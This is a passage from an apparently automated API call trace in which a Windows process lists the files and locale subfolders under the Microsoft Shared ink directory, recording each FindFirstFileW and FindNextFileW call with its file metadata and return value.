ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0079.864] GetProcessHeap () returned 0x470000 [0079.864] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x527ba8 [0079.864] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\*", lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255300 [0079.865] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.865] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6a1a1d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea8dce90, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea902fed, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0079.865] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6a1a1d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea8dce90, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea902fed, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0079.865] FindClose (in: hFindFile=0x3255300 | out: hFindFile=0x3255300) returned 1 [0079.866] GetProcessHeap () returned 0x470000 [0079.866] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x527ba8 | out: hHeap=0x470000) returned 1 [0079.866] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a593198, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6a593198, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xf44c0670, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe", cAlternateFileName="")) returned 1 [0079.866] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0079.866] GetProcessHeap () returned 0x470000 [0079.866] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x527ba8 [0079.866] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\*", lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255300 [0079.866] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.866] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe526d67f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe54f4dac, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe54f4dac, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0079.866] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe526d67f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe54f4dac, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe54f4dac, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0079.867] FindClose (in: hFindFile=0x3255300 | out: hFindFile=0x3255300) returned 1 [0079.871] GetProcessHeap () returned 0x470000 [0079.871] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x527ba8 | out: hHeap=0x470000) returned 1 [0079.871] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0079.871] GetProcessHeap () returned 0x470000 [0079.871] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x527ba8 [0079.871] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\*", lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255300 [0079.871] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.871] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d84cc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe94ed7e2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe94ed7e2, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0079.872] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d84cc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe94ed7e2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe94ed7e2, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0079.872] FindClose (in: hFindFile=0x3255300 | out: hFindFile=0x3255300) returned 1 [0079.872] GetProcessHeap () returned 0x470000 [0079.872] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x527ba8 | out: hHeap=0x470000) returned 1 [0079.872] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0079.872] GetProcessHeap () returned 0x470000 [0079.872] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x527ba8 [0079.872] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\*", lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255300 [0079.872] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.872] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4177b15, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4177b15, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0079.873] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4177b15, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4177b15, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0079.873] FindClose (in: hFindFile=0x3255300 | out: hFindFile=0x3255300) returned 1 [0079.873] GetProcessHeap () returned 0x470000 [0079.873] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x527ba8 | out: hHeap=0x470000) returned 1 [0079.873] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0079.873] GetProcessHeap () returned 0x470000 [0079.873] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x527ba8 [0079.873] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\*", lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255300 [0079.876] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.877] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe779eb51, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe79d9fc4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe79d9fc4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0079.877] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe779eb51, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe79d9fc4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe79d9fc4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0079.877] FindClose (in: hFindFile=0x3255300 | out: hFindFile=0x3255300) returned 1 [0079.877] GetProcessHeap () returned 0x470000 [0079.877] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x527ba8 | out: hHeap=0x470000) returned 1 [0079.877] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ef1310, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x56ef1310, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x449d3e50, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabIpsps.dll", cAlternateFileName="")) returned 1 [0079.877] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bf05363, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bf05363, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bf05363, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6d600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll", cAlternateFileName="")) returned 1 [0079.877] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45c03bb8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x45c03bb8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xf8825d20, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabTip.exe", cAlternateFileName="")) returned 1 [0079.877] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th-TH", cAlternateFileName="")) returned 1 [0079.877] GetProcessHeap () returned 0x470000 [0079.877] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x527ba8 [0079.877] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\*", lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255300 [0079.878] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.878] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8f46414, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe91a79e4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe91a79e4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0079.878] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8f46414, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe91a79e4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe91a79e4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0079.878] FindClose (in: hFindFile=0x3255300 | out: hFindFile=0x3255300) returned 1 [0079.878] GetProcessHeap () returned 0x470000 [0079.878] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x527ba8 | out: hHeap=0x470000) returned 1 [0079.878] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41bbeec8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x41bbeec8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44c363f0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipBand.dll", cAlternateFileName="")) returned 1 [0079.878] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d6a2945, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5d6a2945, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x18975da0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x85000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll", cAlternateFileName="")) returned 1 [0079.878] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7038f2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x3d7038f2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x18975da0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll", cAlternateFileName="")) returned 1 [0079.878] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa125f634, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa125f634, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa1285794, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x130600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipskins.dll", cAlternateFileName="")) returned 1 [0079.878] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1213373, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa1213373, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa12394d3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7ae00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tiptsf.dll", cAlternateFileName="")) returned 1 [0079.879] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3dda83b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3dda83b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3dda83b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tpcps.dll", cAlternateFileName="")) returned 1 [0079.879] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0079.879] GetProcessHeap () returned 0x470000 [0079.879] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x527ba8 [0079.879] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\*", lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255300 [0079.879] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, 